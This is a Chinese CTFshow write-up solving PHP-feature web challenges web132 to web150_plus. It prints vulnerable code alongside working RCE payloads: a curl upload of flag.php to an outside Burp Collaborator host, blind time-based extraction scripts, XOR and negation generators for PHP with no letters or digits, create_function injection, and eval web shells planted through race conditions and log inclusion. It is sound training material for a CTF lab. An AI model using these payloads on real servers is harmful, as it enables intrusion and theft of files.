CTFshow——PHP特性(下)





web132——逻辑运算符的优先级

打开是一个网站,访问robots.txt 得到指引/admin

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    
    
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
    
    
        
        if($code == 'admin'){
    
    
            echo $flag;
        }
        
    }
}

可以注意到&&||的逻辑运算,查询下表发现&&优先级高于||

payload:
?username=admin&password=6&code=admin

在这里插入图片描述





web133——curl -F

curl 的参数用法

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("6个字母都还不够呀?!");
    }
}

参考Firebasky师傅的文章,写的很详细

我们传入
`$F `;sleep 3
substr($F,0,6)截取的是: `$F `;
即:eval(`$F `;)就会继续执行$F    其中:``是shell_exec()函数的缩写
而$F等于我们传入进来的值: `$F `;sleep 3
此时,sleep 3 就被执行了!

但是可以执行命令,无法回显
通过curl结合Burp带出flag.php

payload:
?F=`$F `;+curl -X POST -F xx=@flag.php http://j9t9eiduixuj9bxwv2e18b6wangd42.burpcollaborator.net

# -X POST  指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件 

在这里插入图片描述
在这里插入图片描述




web134——php变量覆盖

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    
    
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    
    
    die(file_get_contents('flag.php'));
}

prase_str()extract():

parse_str():把查询字符串解析到变量中。
extract():从数组中将变量导入到当前的符号表
注意区别:
extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。
即:从数组中创建变量

parse_str是根据"="来分解字符串,主要用于对url参数的解析。

GET方法传参_POST[key1]=36d
parse_str()将字符串解析到POST数组中,数组此时就有了一个键值对
此时,效果上相当于以POST方法传参 key1=36d
extract($_POST)POST数组中的创建变量,将变量key1导入到当前的符号表
从而得到$key1=36d

在这里插入图片描述




web135—— >xx.txt 写文件

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

没有限制写文件

 ?F=`$F `;nl flag.php>1.txt
 ?F=`$F `;cp flag.php>1.txt
 ?F=`$F `;mv flag.php>1.txt





web136—— tee命令

<?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

Linux下的tee命令

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件

在这里插入图片描述
可见,其效果与>类似

payload:
?c=ls /|tee 2
?c=nl /f149_15_h3r3|tee 2





web137——调用类

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

需要调用静态类

php中 ->:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
payload:
ctfshow=ctfshow::getFlag   #POST





web138——call_user_func()数组形式调用类方法

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    
    
    die("private function");
}

call_user_func($_POST['ctfshow']);

考察了call_user_func()用数组形式调用类方法
详看:根据方法名调用call_user_func()详解

call_user_func()参数不仅可以是字符串,还有 数组形式!

call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

array[0]=$classname  类名
array[1]=say_hello   say_hello()方法

按照上述格式得到payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag   #POST





web139——盲打

<?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

没有写权限,不允许写文件
思路就是猜解文件名。盲打,像SQL盲注一样

用awk命令、cut命令截取字符
sleep命令确认是否正确

awk NR==2 获取第二行信息
cut -c 1  截取第1个字符

zsh下if语句的格式:
 if [[condition]] {
    
    command
} elif {
    
    
} else {
    
    
}

在这里插入图片描述
参考大佬的脚本:
获取文件名的脚本

import requests
import time
import string
str=string.ascii_letters+string.digits	#生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "

猜解文件内容的脚本:

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))	#time()第一个参数是响应时间,第二个是读取时间
		except:
		    result=result+n
		    print(result)
		    break





web140——松散比较==

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    
    
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
    
    
        if(preg_match('/^[a-z0-9]+$/', $f2)){
    
    
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
    
    
                echo file_get_contents("flag.php");
            }
        }
    }
}

查看PHP类型比较表 可发现
0==“字符串” 返回的是TRUE
在这里插入图片描述
在这里插入图片描述
使$code=0就可以了
intval('.')(标点符号似乎都行)md5(phpinfo())都可以使intval()=0

payload:
f1=current&f2=localeconv
f1=md5&f2=phpinfo





web141——无字母数字的RCE 、取反

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/^\W+$/', $v3)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

/^\W+$/的意思:匹配[^a-zA-Z0-9_](任意个非单词字符、非数字字母下划线的字符)绕过无字母数字的方法参考yu师傅的脚本

绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
在这里插入图片描述
由上图可知,虽然会有warning但依然执行了system('cat ls.txt')

这样就好说了。构造出1-phpinfo()-1就可以了,也就是说v1=1&v2=1&v3=-phpinfo()-

现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)得到 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)

payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

拓展阅读:
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)





web142——0

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    
    
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
    
    
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

payload:
?v1=0   	八进制
?v1=0x0		16进制
?v1=0e123	科学计数法





web143——无字母数字的RCE 、异或 、* / 号

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

此题是web141的延申版
过滤了加减号,还有乘除号
过滤了取反号~那就用异或^

异或脚本:

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    
     
	for ($j=0; $j <256 ; $j++) {
    
     

		if($i<16){
    
    
			$hex_i='0'.dechex($i);
		}
		else{
    
    
			$hex_i=dechex($i);
		}
		if($j<16){
    
    
			$hex_j='0'.dechex($j);
		}
		else{
    
    
			$hex_j=dechex($j);
		}
		$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    
    
					echo "";
    }
  
		else{
    
    
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
    
    
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*





web144——无字母数字的RCE 、取反、+号

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
    
    
        if(preg_match('/^\W+$/', $v2)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    
    
    return strlen($str)===1?true:false;
}
?v1=1&v3=%2b&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)  #%2b是 + 的URL编码,当然,直接用 - *  / 这三种也是可以





web145——无字母数字的RCE 、异或 、三目运算符

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

可用三目运算符 ? :和 按位OR运算符|

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|

实在想不出来,爆破
在这里插入图片描述




web146——无字母数字的RCE 、异或 、|号

<?php

hlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

过滤了:冒号,用|按位OR运算符

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):





web147——create_function代码注入

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    
    
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    
    
        $ctfshow('',$_GET['show']);
    }

}

分析正则表达式:
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行


create_function:
参考这篇文章第一道题

create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。

string create_function    ( string $args   , string $code   )

string $args 参数部分
string $code 方法代码部分

举例:

create_function('$name','echo $fname."Zhang"')
类似于:

function fT($name) {
    
    
  echo $fname."Zhang";
}

正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

本地Fuzz测试一下,思路就是在函数名头或者尾找一个字符

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
\ (URL编码为%5c)是爆破结果

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

payload:
?show=echo "666";}system("cat f*");/*     #GET
ctf=\create_function					  #POST





web148——无字母数字的RCE 、异或

异或处理,参考 web148





web149——条件竞争

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']); //file_put_contents会覆盖之前文件的内容

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

很明显条件竞争
一个发包创建文件

?ctf=1.php
show=<?php ststem("ls /");?>

一个发包读取文件
在这里插入图片描述


还可以写一句话木马到index.php文件中,然后执行命令
?ctf=index.php
show=<?php @eval($_POST[1]);?>





web150——日志包含

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}

一眼看过去,有点懵,变量有点多
看Hint是非预期的解法:文件包含,包含的是日志文件

那么重点就在下面这段代码:

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}

如何使isVIP=1?通过extract($_GET)?后面传递isVIP=1
POST传:ctf=/var/log/nginx/access.log
然后便是日志包含的操作了,在UA头写一句话木马
在这里插入图片描述




web150_plus——session文件包含

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    
    
    include($ctf);
}

多过滤了log也即是说不能包含日志文件
但可用包含session文件
当然这是非预期解,预期解不会啊/(ㄒoㄒ)/~~

在这里插入图片描述
session文件包含的操作不多说了

猜你喜欢

转载自blog.csdn.net/weixin_45669205/article/details/113857983